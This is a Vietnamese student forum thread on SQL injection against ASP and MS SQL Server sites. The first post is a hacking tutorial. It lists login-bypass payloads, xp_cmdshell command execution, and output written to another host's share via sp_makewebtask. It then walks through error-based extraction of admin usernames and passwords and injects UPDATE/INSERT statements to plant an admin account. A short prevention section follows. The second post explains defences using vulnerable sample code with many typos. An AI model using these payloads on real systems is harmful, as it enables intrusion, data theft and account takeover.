User Tag List

+ Trả lời chủ đề
Hiện kết quả từ 1 tới 3 của 3

Chủ đề: Tìm hiểu về SQL injection

  1. #1
    Acgiuna
    Guest

    Mặc định

    1) SQL Injection là gì?

    SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

    2) Tìm kiếm mục tiêu

    Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

    http://vịtcon/index.asp?id=10

    Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.

    <FORM action=Search/search.asp method=post>
    <input type=hidden name=A value=C>
    </FORM>

    3) Kiểm tra chỗ yếu của trang web

    Thử submit các field username, password hoặc field id, .. bằng hi&#39; or 1=1--

    - Login: hi&#39; or 1=1--
    - Pass: hi&#39; or 1=1--
    - http://vịtcon/index.asp?id=hi&#39; or 1=1--

    Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

    <FORM action=http://vịtcon/Search/search.asp method=post>
    <input type=hidden name=A value="hi&#39; or 1=1--">
    </FORM>

    Nếu thành công, bạn có thể login vào mà không cần phải biết username và password

    4) Tại sao &#39; or 1=1-- có thể bypass login?

    Giả sử như có một trang asp link đến một asp trang khác với URL như sau:

    http://vịtcon/index.asp?category=food

    Trong URL trên, biến &#39;category&#39; được gán giá trị là &#39;food&#39;. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):

    v_cat = request("category")
    sqlstr="SELECT * FROM product WHERE PCategory=&#39;" & v_cat & "&#39;"
    set rs=conn.execute(sqlstr)

    v_cat sẽ chứa giá trị của biến request.category, &#39;food&#39; và câu lệnh SQL tiếp theo sẽ là:

    SELECT * FROM product WHERE PCategory=&#39;food&#39;

    Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=&#39;food&#39;

    Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food&#39; or 1=1-- , biến v_cat sẽ chứa giá trị "food&#39; or 1=1-- " và dòng lệnh SQL query sẽ là:

    SELECT * FROM product WHERE PCategory=&#39;food&#39; or 1=1--&#39;

    Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng &#39;food&#39; hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"

    Bạn cũng có thể thử cách khác bằng cách submit &#39; or &#39;a&#39;=&#39;a. Dòng SQL query bây giờ sẽ là:

    SELECT * FROM product WHERE PCategory=&#39;food&#39; or &#39;a&#39;=&#39;a&#39;

    Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:

    &#39; or 1=1--
    " or 1=1--
    or 1=1--
    &#39; or &#39;a&#39;=&#39;a
    " or "a"="a
    &#39 or (&#39;a&#39;=&#39;a

    5) Thi hành lệnh từ xa bằng SQL Injection

    Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:

    &#39;; exec master..xp_cmdshell &#39;ping 10.10.1.2&#39;--

    Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (&#39 không làm việc.

    Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:

    #tcpdump icmp

    Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

    6) Nhận output của SQL query

    Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

    &#39;; EXEC master..sp_makewebtask "&#092;&#092;10.10.1.3&#092;share&#092;output.html ", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    folder "share" phải được share cho Everyone trước.

    7) Nhận data qua &#39;database using ODBC error message&#39;

    Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer &#39;10&#39; với một string khác lấy từ CSDL:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

    Dòng query này sẽ trả về tên của table đầu tiên trong CSDL

    Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;table1&#39; to a column of data type int.
    /index.asp, line 5

    Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.

    Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&#39;table1&#39--

    Bạn cũng có thể search data bằng từ khóa LIKE:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &#39;%25login%25&#39;--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;admin_login&#39; to a column of data type int.
    /index.asp, line 5

    Mẫu so sánh &#39;%25login%25&#39; sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

    8) Xác định tên của các column trong table

    Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;admin_login&#39;--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;login_id&#39; to a column of data type int.
    /index.asp, line 5

    Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;admin_login&#39; WHERE COLUMN_NAME NOT IN (&#39;login_id&#39--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;login_name&#39; to a column of data type int.
    /index.asp, line 5

    Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;admin_login&#39; WHERE COLUMN_NAME NOT IN (&#39;login_id&#39;,&#39;login_name&#39;,&#39;pass word&#39;,details&#39--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e14&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
    /index.asp, line 5

    9) Thu thập các dữ liệu quan trọng

    Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

    Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;neo&#39; to a column of data type int.
    /index.asp, line 5

    Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&#39;neo&#39;--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;m4trix&#39; to a column of data type int.
    /index.asp, line 5

    Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".

    10) Nhận các numeric string

    Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&#39;trinity&#39;--

    Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

    http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b&#39;%20morpheus&#39 FROM admin_login where login_name=&#39;trinity&#39;--

    Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của &#39;+&#39; là 0x2b). Chúng ta thêm chuỗi &#39;(space)morpheus&#39; vào cuối password để tạo ra một string mới không phải numeric string là &#39;31173 morpheus&#39;. Khi hàm convert() được gọi để chuyển &#39;31173 morpheus&#39; sang integer, SQL server sẽ phát lỗi ODBC error message sau:

    Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;31173 morpheus&#39; to a column of data type int.
    /index.asp, line 5

    Bây giờ bạn cũng có thể login vào với username &#39;trinity&#39; và password là &#39;31173&#39;

    11) Update/insert data vào CSDL

    Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

    Để thay đổi password của "neo", bạn có thể làm như sau:

    http://vịtcon/index.asp?id=10; UPDATE &#39;admin_login&#39; SET &#39;password&#39; = &#39;newpas5&#39; WHERE login_name=&#39;neo&#39;--

    Hoặc nếu bạn muốn chèn một record mới vào table:

    http://vịtcon/index.asp?id=10; INSERT INTO &#39;admin_login&#39; (&#39;login_id&#39;, &#39;login_name&#39;, &#39;password&#39;, &#39;details&#39 VALUES (666,&#39;neo2&#39;,&#39;newpas5&#39;,&#39;NA&#39--

    Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"

    12) Ngăn chặn SQL Injection

    Hãy loại bỏ các kí tự meta như &#39;"/&#092;; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

    - input do người dùng đệ trình
    - các tham số từ URL
    - các giá trị từ cookie

    Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

    Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

    Xóa các stored procedure mà bạn không dùng như:

    master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

    13) Tài liệu thao khảo

    - How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
    - Great article on gathering information from ODBC error messages http://www.blackhat.com/presentation...Litchfield.doc
    - A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
    - Senseport&#39;s article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
    - Khác: http://www.digitaloffense.net/wargam...IOWargames.ppt, http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6, http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6, http://www.spidynamics.com/whitepape...LInjection.pdf

  2. #2
    Acgiuna
    Guest

    Mặc định

    Chống tấn công kiểu SQL Injection
    SQL Injection la gi ?
    Viec thiet ke va dua website vao hoat dong luon doi hoi cac nha phat trien phai quan tam den van de va an toan, bao mat nham giam thieu toi da kha nang bi hacker tan cong. Thuong cac nha phat trien tap trung vao cac van de an toan cua he dieu hanh, he quan tri CSAL, webserver…chang han nhu hong bao mat tren IIS. Tuy nhien, co mot nguy co tiem an it duoc quan tam do la cac doan ma cua ung dung, mot trong so do la tan cong bang SQL injection.
    SQL Injection la mot ki thuat cho phap nhung ke tan cong thi hanh cac cau lenh truy van SQL bat hop phap bang cac loi dung lo hong trong viec kiem tra de lieu nhau tu cac ung dung web..hau qua nay rat tai hai vi no cho phap ke tan cong co toan quyen , hieu chinh..tren co so du lieu cua ung dung, loi nay thuong xay ra tren cac ung dung web co du lieu duoc quan li bang cac he quan tri CSDL nhu SQL server, Oracle, DB2, Sysbase.
    Xet mot vi du dien hinh, thong thuong de cho phet nguoi dung truy cap vao cac trang web duoc bao mat..he thong thuong xay dung trang dang nhap de yeu cau nguoi dung nhap thong tin ve ten dang nhap va password. Sau khi nguoi dung nhap thong tin vao, he thong se kiem tra ten dang nhap va mat khau co hop le huy khong de quyet dinh cho phep hay tu choi thuc hien tren.
    Trong truong hop nay, nguoi ta co the dung 2 trang, mot trang HTML de hien thi Form nhap lieu va mot trang ASP dung de xu li thong tin nhap tu phia nguoi dung. Vd :

    Login.htm
    <form action=”Execlogin.asp”method=”post”>
    username : <input type=”text” name= “ txtusername”><br>
    password : <input type =”password” name=txtpassword”><br>
    <input type = “submit”>
    </form>

    ExecLogin.asp
    <%
    Dim p_strausername, p_strPassword, objRS, serSQL
    P_serUsername =
    Request, Form ( “txtusername”)
    P_serPassword =
    Request.Form(“txtPassword”)
    serSQL = “SELECT * FORM tblUsers “ & _”WHERE Username=’ “
    & _strUsername & _
    “` and Password=’ “ & p-strPassword & “ ` “
    Set objRS =
    Server.CreateObject ( “ADODB.Recordset”)
    objRS.open strSQL, “DSN=…”
    if (objRS.EOF) Then
    Response.write “invalid login.”
    Else
    Response.write “ you are logged in as “ & objRS (“Username”)
    End If
    Set objRS = Nothing
    %>

    thoat nhin, doan ma trong trang ExecLogin.asp duong nhu khong chua bat cu ,pt lo hong bao mat nao,. Nguoi dung khong the dang nhap ma khong co ten dang nhap va mat khau hop le. Tuy nhien, doan ma nay thus su khong an toan va la tien de cho tan cong SQL Injection. Dat biet, so ho nam o cho du lieu nguoi dung nhap vao duoc nam o cho du lieu nguoi dung nhap vao duoc dung de xay dung truc tiep cau lenh truy van SQL ..chinh dieu nay cho phep nung ke tan cong co the dieu khine duoc cau truy van se duoc thuc hien.
    Vi du, neu nguoi dung nhap chuoi sau vao trong ca 2 o nhap lieu username/passowrd cua trang login.htm “
    ‘ or”=’. Luc nay, cau truy van se duoc goi thuc hien la :

    SELECT * FORM tblUsers WHERE Username=’ ‘ or ``=’’ and Password = `’or`’=`’

    Cau truy van nay la hop le va se tra ve tat ca cac ban ghi cua tblUsers, va doan ma tiep theo su li nguoi dung dang nhap bat hop phap nay nhu la nguoi dung dang nhap hop le.
    Mot vi du khac cua tan cong SQL Injection nua la khi cac trang web su dung du lieu nhap vao theo dang querystring ( bang cach go cap tham so va gia tri truc tiep trang thanh dia chi hoac dung form voi thuc tinh ACCTION La GET . vi du sau minh hoa mot trang ASP nhan du lieu cho bien ID thong qua querystring va phat sinh noi dung cua trang do dua tren ID :

    <%
    Dim P-lngID, objRS, StrSQL
    P_lngID = Request ( “ID”)
    strSQL = “SELECT * FORM
    tblArticles WHERE ID=” & p_lngID
    Set objRS =
    Server.CreateObject(“ADODB.Recordeset”)
    ObjRS.Open strSQL, “DSN=…”
    If ( Not objRS.EOF) then
    Response.Write
    ObjRS(“ArticleContent”)
    Set ObjRS = Nothing
    %>

    trong cac tinh huong thong thuong, doan ma nay hien thi noi dung cua Aricle co ID trung voi ID duoc chuyen den cho no duoi dang querystring. Vi du, trang nay co the duoc goi nhu sau :
    http://www.examlpe.com/Article.asp?ID=1055, de hien thi noi dung cua article co ID la 1055
    giong nhu vi du dang nhap o tren. Doan ma nay de lo so ho cho kha nang tan cong SQL Injection, ke tan cong co the thay the mot ID hop la bang cach gan ID cho mot gia tri khac, de thuc hien mot lenh SQL bat hop phap, vi du nhu : 0 or 1=1
    cau truy van SQL luc nay se tra ve tat ca cac article tu bang du lieu vi no se thuc hien cau lenh :

    SELCT * FORM tblArticles WHERE
    ID=0 or 1=1

    Tat nhien vi du nay duong nhu khong co gi nguy hiem nhung hay thu tuong tuong ke tan cong co the xoa toan bo CSDL bang cach chen vao cac doan lenh nguy hiem nhun lenh DELETE. Tat ca chi chi la don gian thay doi chuoi gan du lieu cho ID, vi du nhu :
    http://examlpe.com/Article.asp?ID=1055; DELETE FORM tblArticles.

    Tac hai va cach phong chong :
    Tac hai cua dang tan cong SQL Injection tuy thuoc vao moi truong va cach cau hinh he thong. Neu ung dung su dung quyen dbo ( Quyen cua nguoi so huu CSDL ) khi thao tac du lieu. No co the xua toan bo cac bang du lieu. Tao cac bang du lieu moi…neu ung dung su dung quyen sa ( quyan quan tri he thong ). No co the dieu khien toan bo he CSDL va tham chi co the tao ra cac tai khoan nguoi dung bat hop phap de dieu khien he thong cua ban.
    De phong tranh cac nguy co co the xay ra, hay bao ve cac cau truy van SQl bang cach kiem soat chan che tat ca cac du lieu nhap nhan duoc tu doi tuong Request ( Request, Request.QuuryString, Request.Form, Request.Cookies, va Request.Server Variables )
    Trong truong hop du lieu nhap vao la chuoi, nhu trong vi du 1 , loi xuat phat tu viec co dau nhay don trong du lieu. De tranh dieu nay, thay the cac dau nhay don bang ham Replace de thay the bang 2 dau nhay don :

    P_strUsername =
    Replace(Request.Form(“txtUsrname”) , “ ` “, “`’” )
    P_srtpassword =
    Replace(Request.Form(“txtPassword”) , “ ` “, “`’” )

    Trong truong hop du lieu nhap vao la so, nhu trong di du 2 , loi xuat phat tu viec thay the mot gia tri duoc tien doan la du lieu so bang chuoi chua cau lenh SQL Injection bat hop phap. De tranh dieu nay, don gian la kiem tra du lieu co dung kieu nay hay khong :

    P_IngID = CLng (Request (“ID”))

    Nhu vay, neu nguoi dung truyen vao mot chuoi, ham nay se tra ve loi ngay lap tuc.
    Ngoai ra de tranh cac nguy co tu tan cong SQL Injection, nen chu y loai bo bat ki thong tin ki thuat nao chua trong thong diep chuyen toi cho nguoi dung khi ung dung co loi. Cac thong bao loi thong thuong tiet lo cac chi tiet ki thuat co the cho phep ke tan cong biet duoc dieu yeu cua he thong.
    Cuoi cung. De han che thiet hai do tan cong SQL Injection, nen kiem soat chat che va giai han queyn xu li du lieu cua tai khoan nguoi dung ma dung dung web dang su dung. Cac dung dung thuong nen tranh dung cac quyen nhu dbo hay sa. Quyen cang han che, thiet hai thi se cach it thoi

  3. #3
    nguyenthanhtungtinbk
    Guest

    Mặc định

    Cám ơn sự đóng góp của bạn. Nhiều bạn đang muốn biết về CSDL, những bài viết của bạn rất hữu ích, mong có thêm những bài viết như vậy.

+ Trả lời chủ đề

Thông tin chủ đề

Users Browsing this Thread

Hiện có 1 người đọc bài này. (0 thành viên và 1 khách)

Chủ đề tương tự

  1. Lỗi injection trong PhpBB2.05
    Gửi bởi Acgiuna trong mục Các vấn đề CNTT khác
    Trả lời: 0
    Bài cuối: 09-09-2003, 07:43 PM

Từ khóa (Tag) của chủ đề này

Quyền viết bài

  • Bạn không thể gửi chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi file đính kèm
  • Bạn không thể sửa bài viết của mình


About svBK.VN

    Bách Khoa Forum - Diễn đàn thảo luận chung của sinh viên ĐH Bách Khoa Hà Nội. Nơi giao lưu giữa sinh viên - cựu sinh viên - giảng viên của trường.

Follow us on

Twitter Facebook youtube